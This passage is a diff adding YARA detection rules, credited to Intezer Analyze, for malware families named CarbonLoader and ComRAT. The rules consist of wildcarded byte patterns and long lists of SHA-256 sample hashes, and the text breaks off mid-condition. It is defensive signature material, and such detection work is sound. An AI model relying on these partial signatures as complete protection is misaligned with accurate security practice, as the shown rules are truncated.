+		$block_88 = { FF 3? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_89 = { 68 ?? ?? ?? ?? 5? FF D? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_90 = { 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 84 ?? 0F 85 }
+		$block_91 = { FF 3? ?? ?? ?? ?? FF B? ?? ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_92 = { FF 0? 03 ?? 89 ?? 89 ?? ?? 89 ?? ?? 3B ?? ?? 0F 8C }
+		$block_93 = { 8B ?? ?? 2B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 0F 85 }
+		$block_94 = { 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 85 }
+		$block_95 = { FF 7? ?? 5? 5? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_96 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? 85 ?? 0F 85 }
+		$block_97 = { FF 3? ?? ?? ?? ?? FF 7? ?? FF D? 5? 5? 85 ?? 0F 85 }
+		$block_98 = { 2B ?? ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? ?? ?? 0F 82 }
+		$block_99 = { C6 ?? ?? ?? ?? 0F B7 ?? ?? 89 ?? ?? ?? 39 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "2dc0f9e08bde378e8fe4e408b1b5f4bbbeacb251901009f25189a5a41a53ab47" or
+		hash.sha256(0, filesize) == "e959e1fa1993f906cd1d8f014c82025b2eb77a67a3e0dc0f44be685700cdb76b" or
+		hash.sha256(0, filesize) == "d581b95b43c16407305f5d52631f044936b354ed921cb2efe8dfc9257960d2db" or
+		hash.sha256(0, filesize) == "995d2b3924d5f517a795c0acc392e3d47f07787f58c77bb42ac2248393533f16" or
+		hash.sha256(0, filesize) == "c3b85bc12c84b8d050e2b9f682df06d93ceaeb4a18480227358baa99f4989e47" or
+		12 of them
+}
+
+rule CarbonLoader_v3_81_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 83 ?? ?? 6A ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? 8B ?? FF D? 83 ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_5 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "0b90db3a69aa8cfab36a66cd5390f46c32e3d88d8fcaefce8cd9e00700e10b65" or
+		7 of them
+}
+
+rule ComRAT {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 83 ?? ?? 5? 5? 5? 5? 8B ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 66 ?? ?? ?? D1 ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_3 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 33 ?? 44 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_6 = { 0F B7 ?? 89 ?? ?? 33 ?? 66 ?? ?? 5? 0F 95 ?? 5? 5? 5? 4? 83 ?? ?? 83 ?? ?? 0F B7 ?? 83 ?? ?? C3 }
+		$block_7 = { 3B ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? 8B ?? 0F B7 ?? 5? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_9 = { E8 ?? ?? ?? ?? 33 ?? F7 ?? 8B ?? 03 ?? 9B 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? 5? C2 }
+		$block_10 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 8D }
+		$block_11 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 80 C? ?? 88 ?? ?? ?? ?? ?? ?? 4? 81 F? ?? ?? ?? ?? 72 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 3B ?? 0F 84 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_14 = { 8B ?? ?? ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? 0F 86 }
+		$block_15 = { 6A ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_16 = { 0F B7 ?? 8B ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 66 ?? ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 0F B7 ?? 75 }
+		$block_17 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_18 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_19 = { 8D ?? ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_20 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? 8B ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_23 = { 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_25 = { 8D ?? ?? 8B ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 8B ?? ?? ?? C1 ?? ?? 03 ?? 3B ?? 0F 8C }
+		$block_26 = { 8D ?? ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? 33 ?? 5? C1 ?? ?? 5? 0B ?? 5? 5? C3 }
+		$block_28 = { 8B ?? ?? ?? 33 ?? 66 ?? ?? ?? 5? 0F 95 ?? 5? 5? 5? 4? 83 ?? ?? 83 ?? ?? 83 ?? ?? C3 }
+		$block_29 = { 8B ?? ?? 0F B7 ?? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 74 }
+		$block_30 = { 0F B6 ?? ?? 0F B6 ?? ?? 83 ?? ?? 03 ?? 03 ?? C1 ?? ?? 0B ?? 0F BE ?? ?? ?? ?? ?? EB }
+		$block_31 = { 8D ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_32 = { 33 ?? 0F B7 ?? 8B ?? C1 ?? ?? 0B ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? F3 ?? 33 ?? EB }
+		$block_33 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? C3 }
+		$block_34 = { 40 ?? 5? 41 ?? 48 ?? ?? ?? 49 ?? ?? 4C ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_35 = { 68 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_36 = { 0F B7 ?? 8B ?? 5? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 }
+		$block_37 = { 0F BE ?? ?? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 8D }
+		$block_38 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_39 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? 0F AF ?? 4? 99 F7 ?? 4? 03 ?? 81 F? ?? ?? ?? ?? 7C }
+		$block_40 = { C6 ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 83 ?? ?? 0F 82 }
+		$block_41 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_43 = { 8D ?? ?? ?? 5? 5? 89 ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_44 = { E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_45 = { 85 ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_46 = { 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_47 = { 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 33 ?? 8D ?? ?? ?? 0F AF ?? 85 ?? 76 }
+		$block_48 = { 8D ?? ?? 5? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_49 = { 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_50 = { 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? 5? C3 }
+		$block_52 = { 5? 8B ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_53 = { DF ?? ?? ?? DF ?? ?? ?? D8 ?? DC ?? ?? ?? ?? ?? DF ?? F6 ?? ?? 0F 85 }
+		$block_54 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 85 ?? 0F 85 }
+		$block_55 = { 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 48 ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 88 ?? ?? ?? FF C? 89 ?? ?? ?? EB }
+		$block_57 = { BA ?? ?? ?? ?? D3 ?? 8B ?? ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_58 = { 8A ?? ?? 0F BE ?? 34 ?? 03 ?? 88 ?? ?? 0F BE ?? 03 ?? 4? 3B ?? 72 }
+		$block_59 = { 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 3B ?? 0F 84 }
+		$block_60 = { 8D ?? ?? 5? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_61 = { 8B ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+		$block_62 = { 68 ?? ?? ?? ?? FF 3? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$block_63 = { 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_64 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_65 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_66 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_67 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 8B ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_70 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? 3B ?? 0F 85 }
+		$block_71 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_72 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_73 = { 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_74 = { A1 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_75 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_76 = { C1 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 86 }
+		$block_77 = { 5? A1 ?? ?? ?? ?? 8B ?? ?? FF D? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_78 = { 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 5? 5? 5? 85 ?? 0F 84 }
+		$block_79 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_80 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_81 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_82 = { 4? C1 ?? ?? 8D ?? ?? ?? 0F B7 ?? 33 ?? 66 ?? ?? 0F 83 }
+		$block_83 = { 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 83 ?? ?? C9 C3 }
+		$block_84 = { 2B ?? D1 ?? 8D ?? ?? 89 ?? ?? 0F B7 ?? ?? 89 ?? ?? E9 }
+		$block_85 = { 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_86 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_87 = { 8B ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 39 ?? ?? ?? 0F 85 }
+		$block_88 = { 8B ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 82 }
+		$block_89 = { 0F B7 ?? 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 66 ?? ?? 73 }
+		$block_90 = { 0F B6 ?? 83 ?? ?? C1 ?? ?? 4? 0F AF ?? 4? 85 ?? 75 }
+		$block_91 = { 83 ?? ?? 5? 8B ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_92 = { 8D ?? ?? ?? ?? ?? ?? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_93 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_94 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_95 = { 4? 99 2B ?? D1 ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_96 = { 4? 0F B7 ?? 0F B7 ?? C1 ?? ?? 33 ?? 85 ?? 0F 8E }
+		$block_97 = { 8B ?? ?? ?? ?? ?? ?? 0F BF ?? 66 ?? ?? ?? ?? 77 }
+		$block_98 = { 8B ?? 8B ?? 8B ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 74 }
+		$block_99 = { 8B ?? ?? ?? D1 ?? 8D ?? ?? ?? 8B ?? 3B ?? 0F 83 }
+
+	condition:
+		hash.sha256(0, filesize) == "be44044d4bfeb43a6ba5608fe911be7d83bee4faf2b13a16d9690c8ac5f62aa3" or
+		hash.sha256(0, filesize) == "bd865c5d092832d6b55484ec430440540d1bbb77c533fad21f10330b526aaca9" or
+		hash.sha256(0, filesize) == "5e0165b3af7f5d4ef0c6fcb62e53e4e408ffb290967a65f042442c7d638ceef7" or
+		hash.sha256(0, filesize) == "cfebcc3aa8217abaedcc856d7ec32d1d66398807819afd9902420f24959e27c6" or
+		hash.sha256(0, filesize) == "a1b2016cb9f9d9a57e1ce3465bdfa5b4e01674c85499a10c1545ab9e90fd32d4" or
+		hash.sha256(0, filesize) == "de8954dc69d3f3b5d1423479ef5f1054a9b0df9085b1926ca939a4d3d11c49ee" or
+		hash.sha256(0, filesize) == "e42b9c5df92299e17581c52972516b24d2ccc872d780f6d9ecc3af2b0683631d" or
+		hash.sha256(0, filesize) == "1fad246cb0a0a0cda8d77e8dd417a380d133229ffba6d38ed32edcc3718a39da" or
+		hash.sha256(0, filesize) == "02e218f14ca02878ed75183e42d79948a6d8c99495a09d9b1897f6bb70b84087" or
+		hash.sha256(0, filesize) == "37e8ae6d5fb27b003441d73a2dc995b5672d47a82ddb3d8751a31697f3d3fc9b" or
+		hash.sha256(0, filesize) == "80013a27dc3a51dffe6427745a09403d9680561bfc28548401fefb35e99c211d" or
+		hash.sha256(0, filesize) == "172072b2f5b2888fd3c9d3f28b1acb5f5bd57dc24ad8d2d1b62321b156b4cfdb" or
+		hash.sha256(0, filesize) == "0e0045d2c4bfff4345d460957a543e2e7f1638de745644f6bf58555c1d287286" or
+		hash.sha256(0, filesize) == "32395c102c5dbc7b881869c8d6c2bf949c02774acb4a785d41cb46ff878572e4" or
+		hash.sha256(0, filesize) == "d585936aac6120718be1582a393c35157422a2e83ba9f60d6ac1e68a39fb2dc9" or
+		hash.sha256(0, filesize) == "dd140d9bac962cdb91b00cb123f69e6b1fb55b94fb93591802fd45222357de86" or
+		hash.sha256(0, filesize) == "208f0339fb6cd0c2a10bda7e42deb9938ab279f56db28a017d27269dfc0802a8" or
+		hash.sha256(0, filesize) == "5a7f334d6580e95a692943a5c9d73e8ae2342927604ddc5839849c4f77804e39" or
+		hash.sha256(0, filesize) == "06b0bfbd69a2e2ee50d7066fe0a5261c85c32494557b6df1383038583902a1db" or
+		hash.sha256(0, filesize) == "a36a04fa6a23a6d6cc1be52e5f05c7f5802c5007bc9900e5c17f6d2c3e03afb8" or
+		hash.sha256(0, filesize) == "fa249ee039e0b2d41d27b8f3590a87c1abc65487fe55dea791f804ae5636d884" or
+		hash.sha256(0, filesize) == "a89f27758bb6e207477f92527b2174090012e2ac23dfc44cdf6effd539c15ada" or
+		hash.sha256(0, filesize) == "43871bb12c446a589eedcd8faae94d60734f595f04e52fc754b89d407249af21" or
+		hash.sha256(0, filesize) == "5ec8a86a0ab982d016153bd318602cfa2ee39c1f0a962c86168a5284afce169d" or
+		hash.sha256(0, filesize) == "08d69145a78f99ab04154aa5e80e9bd28835dade0b95017d5033a0fa6391b1e1" or
+		hash.sha256(0, filesize) == "dc68688aa61102f18b958346bcab167b22e307ecdf2bb05e05d5f19e8fc41f5b" or
+		hash.sha256(0, filesize) == "0977898deb6e5ebd16b1db80ff904a4818fe7ba8039b7f23f0fe329ade03d65b" or
+		hash.sha256(0, filesize) == "7759a16584847737c650b7051514c1aa58c957cbfaaa4bc609b288a87d55f2ce" or
+		hash.sha256(0, filesize) == "7923ead3971a6e8dd4df5c87f22fd3edcb78c48714fa19d01e900eeb10ae13fd" or
+		hash.sha256(0, filesize) == "a777049f779a7c42842568a681030305209b57cc93dc9604a48682df5e9429b6" or
+		hash.sha256(0, filesize) == "2a625986f5761b59ee4967ea5255e895a6cdd64763696bc7d378c609228d70b6" or
+		hash.sha256(0, filesize) == "bc90772a93b7a54645b3e3df205f59a98166df5245cbf86c4e3d417b15aa6bd3" or
+		hash.sha256(0, filesize) == "39a8cf3f2916daea03f8b8600e202725101b338a67fc4a7d1b9c48ff5239293f" or
+		hash.sha256(0, filesize) == "9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426" or
+		hash.sha256(0, filesize) == "9751b5c3645f33677e31aafd4ff04a8e61d529a30d2f324a4ea73a519599f5e2" or
+		hash.sha256(0, filesize) == "a7f9e42680cf6f46af48987384ea13aff9dd5df5835a9c214ee9697a63c3d8c9" or
+		hash.sha256(0, filesize) == "d932551bb748cafb13a5825233e24c2b1ba0b17098dddfe569943e431c45efe4" or
+		hash.sha256(0, filesize) == "60fd95d9b415ecd8d3e799f22b54e5fbd0117d22cf3fce172a65d05167715df8" or
+		hash.sha256(0, filesize) == "90876ed03885118da45bad0c5acccc8c5ce6940d6e239fe0ad254a996e9b1e97" or
+		hash.sha256(0, filesize) == "514b4db0717fb282f8071d55a75b387c053b6d183e2180f5f4e47c34b16d545d" or
+		hash.sha256(0, filesize) == "e5c187392b8376352880470a5068eeeb1a00926a9f06a5100a5d8426509291c6" or
+		hash.sha256(0, filesize) == "bb4ea71368dd7fed4f19cb64a51c9a21cf2e7e19111a2fccf161837a7ec97751" or
+		hash.sha256(0, filesize) == "d002e2eaee5a47af4f779e5210fd35cc1cb339efd6e9cebb57b233a7e9e62005" or
+		hash.sha256(0, filesize) == "300cb016ef9666bcc3672c2ee14a8516566a8c4982bdcac78501a9ad79e4e094" or
+		hash.sha256(0, filesize) == "0cf936dd2adcd6bf575b85e51961d72bbbf8b3d3f2db9e8e378ded5ec60c2f55" or
+		hash.sha256(0, filesize) == "87d4edd9d833a41b776bbbbb2ecde0513ae0aa3d228caf3c85d2298c9977e89f" or
+		hash.sha256(0, filesize) == "9d3c846d37eff281e30954ed0b7b52030574367b793330ff7e2eeced52ea68b4" or
+		hash.sha256(0, filesize) == "14f04ff36d4c571d2cc7e2fc0b31f9666d687c61d05d8646cf5e56b4240f5592" or
+		hash.sha256(0, filesize) == "bca6e6aa3bc8092e4b85f22a223fd67e80c1bd80afc9aa3fd9192338c8d9b982" or
+		hash.sha256(0, filesize) == "3a4a0c6585d160e42d40f3ba343af5d45469597d452ea311465029e115e470ae" or
+		hash.sha256(0, filesize) == "22350671a2b605351839a3e22437de71d58efbfce24a1b562bedc7e6f3c0154c" or
+		hash.sha256(0, filesize) == "b51aa5c5e8e783ef7a55f29205a989223f0ef8bfee47ab9274acf37e39f2834f" or
+		hash.sha256(0, filesize) == "5d2a8d367ea383a8cc3d4389a1858bb645cef2a2217c65f7fcf9d3eecb0e8255" or
+		hash.sha256(0, filesize) == "035e51a1575ecb21353166287530840b3c2c54c237acda4223f1c45e6b47d3b2" or
+		hash.sha256(0, filesize) == "4bc2a21aba604dc22af1322a661d8929587f558ab3ffe3d6cb946cadfe7f6570" or
+		hash.sha256(0, filesize) == "22b9f9bbddec318700f46ba778bb61f2bb07bd3560af98501b030ff7160db062" or
+		hash.sha256(0, filesize) == "a1d26fc17409a30ca48337306317863e8c4064e36c060158885322bb71dc9069" or
+		hash.sha256(0, filesize) == "e092a2ec64a264779ca8211483693789f4a1f14e42c2f65df15833583f964b81" or
+		hash.sha256(0, filesize) == "9c9d5540cd2902e941f34887ea546d214120d92ab0bbc1e38bbcc8805a5589d8" or
+		hash.sha256(0, filesize) == "193844bd22c37e2725927fa0bcddc199932f1dc3536b97da250b77ef68c66d63" or
+		hash.sha256(0, filesize) == "50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f" or
